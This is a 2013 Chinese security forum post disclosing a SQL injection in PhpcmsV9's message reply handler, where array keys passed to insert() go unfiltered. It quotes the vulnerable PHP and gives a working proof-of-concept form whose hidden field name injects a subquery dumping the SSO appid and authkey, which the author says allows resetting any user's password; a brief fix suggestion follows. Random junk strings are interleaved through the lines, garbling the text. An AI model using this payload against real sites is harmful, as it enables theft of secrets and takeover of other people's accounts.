找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2224|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
2 ~3 ?! R* b3 m* c8 [7 X- L
' l# |. z: z% W2 W第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。/ s# G, Z& A5 ]% y& H
- Q9 P( T$ F" x* l7 j8 a
明天再更新下一个漏洞。
2 h3 k4 J3 x! e* v详细说明:
( _9 e  |. i# Q, g/ p在/phpcms9/phpcms/modules/message/index.php中有代码如下:
5 z' n% i/ Z8 H! \: o8 ^
1 z" j: O3 T  I! n9 W& f$messageid = $this->message_db->insert($_POST['info'],true);
  K6 |8 M. X: i. |" G+ f0 F$ S5 X1 j$ @' A( D

! n6 ~0 u7 p5 l7 S$ J& p9 t  {insert方法是key value的,代码如下:
2 |4 g8 C/ q9 }) W1 n5 S" Z+ B4 k4 T
public function insert($data, $table, $return_insert_id = false, $replace = false) {
. z( h' E. S' [( u: G# ?# D                if(!is_array( $data ) || $table == '' || count($data) == 0) {
; J0 L" ^; i9 B( p; `: x                        return false;
5 n9 S! J) j9 p/ m# e/ f5 V1 |                }
) w8 ^* {  u8 U% h$ o' j               
, W% D2 o! g( T3 X2 H                $fielddata = array_keys($data);4 o# k. \% K" v6 f- n4 [. `
                $valuedata = array_values($data);( Y! K* v; j# e, ]0 T5 }1 c: F
                array_walk($fielddata, array($this, 'add_special_char'));; A+ F% Y, L$ o8 y  t
                array_walk($valuedata, array($this, 'escape_string'));
$ S' J3 b: N% l) v/ q                / y" _8 G6 R  e2 {- }5 c# m
                $field = implode (',', $fielddata);
% C: D8 o: ^* ]' K8 ^                $value = implode (',', $valuedata);
, K; T$ q4 ~7 A" z' C; @% k* I1 i8 n0 w  X6 |) C
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';  L! e1 R) f- j: w6 X" A* o
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
; x' z, M+ w: e& P  A; m# C4 z& n7 f                $return = $this->execute($sql);8 C9 L( u9 i4 B, w: C; j$ W" n
                return $return_insert_id ? $this->insert_id() : $return;
+ s+ ^5 f+ v; J3 L+ c8 P        }0 n3 ^" w9 O) f4 z# q1 k
# W/ M1 l: O4 B6 W; J

: c! u; _" ]8 e2 A9 z嗯,很遗憾的是
, s. a1 J" m# J# o. G2 `' s( {! ]% O
array_walk($fielddata, array($this, 'add_special_char'));
2 g1 t+ T, ^' j% k2 X
; k3 ?" Z# r/ q( r& [7 W
* X- L" B. I. X6 ^$ F$ j中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
: V2 r" p; G+ h4 a0 D3 C% O
8 G* o, P, R7 t6 ?2 F到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
( ~9 ~& b7 _9 {3 T; ]
/ b$ [% m* B' d" d8 [" F% C漏洞证明:
. P4 y# {& n( A1 l2 \: E6 g- F2 {读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。( ?5 T4 L2 `2 }+ o& k! i. f
, q  q  r( @9 X# Z' b+ I
, I$ I  s- ?0 T& ]
表单如下:用户名什么的得自己改一改。( ^: `. E& o) h" Y% D1 i
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
' e; O  Z. i1 L<table width="100%" cellspacing="0" class="table_form">- J& \6 t# B0 k( z. h! J
<tr># j* h( Z. B. M) @5 e( y* u
<th>标 题:</th>
0 z7 p4 a/ Z0 t/ J5 J6 C<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>* r9 T$ Y# p% n; P
</tr> : o9 [+ x  R8 ~; i4 o4 f5 w
<tr>+ d5 \$ J" M/ d# X% D
<th>内 容:</th>6 h- x0 D$ T4 W
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td># c* h! f$ h* }3 I1 W3 a/ M6 @
</tr>
2 \, e0 j9 r1 S! a/ v6 N<input type="hidden" name="info[replyid]" value="2" /> 0 G9 U. _8 Q  x& L6 m! N. x
<input type="hidden" name="info[send_to_id]" value="cc" /> * }! ]& a% O7 z6 y. O
<input type="hidden" name="info[send_from_id]" value="hh">7 T; d; M$ g' R1 `: w) Q; H3 |' d
<!-- 漏洞的利用重点在这里开始 -->
( u# H, s3 C% ^' m<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />   h3 U* i, ^; m9 z0 b4 G
<!-- 漏洞的利用重点在这里结束 -->8 S8 T7 E/ C. P1 A4 h
<tr>
7 G7 t) \; |( u# Y, ]: [<th>验证码:</th>
5 P2 G+ \7 f6 I  q% d, x# ]<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
0 v+ t( C, D; Y8 \/ O: R' J</tr>9 }7 A8 Q) @; M  v
<tr>  ]6 Y' K4 e( T+ k9 @
<td></td>3 L4 }( `1 ]" ^4 k3 q% B
<td colspan="2"><label>' s0 U; t( U# P/ c2 S
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>* p! c0 {  g, _" S  l! R
</label></td>
9 O. O8 f  g, b- m, f6 D</tr>
" V8 V8 y) D4 ?5 N0 K2 B</table>/ Z" d: W: z2 S! z) {, ?4 ~
</form>
3 x4 o6 a$ E9 G0 e! T在add_special_char函数内对key做过滤就可以了。
- G" a% K, L8 `0 X+ o9 R. }: O, X3 a4 h) l, ?

0 `# Q8 X  L0 X7 n/ [- A& {: W: D+ j

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表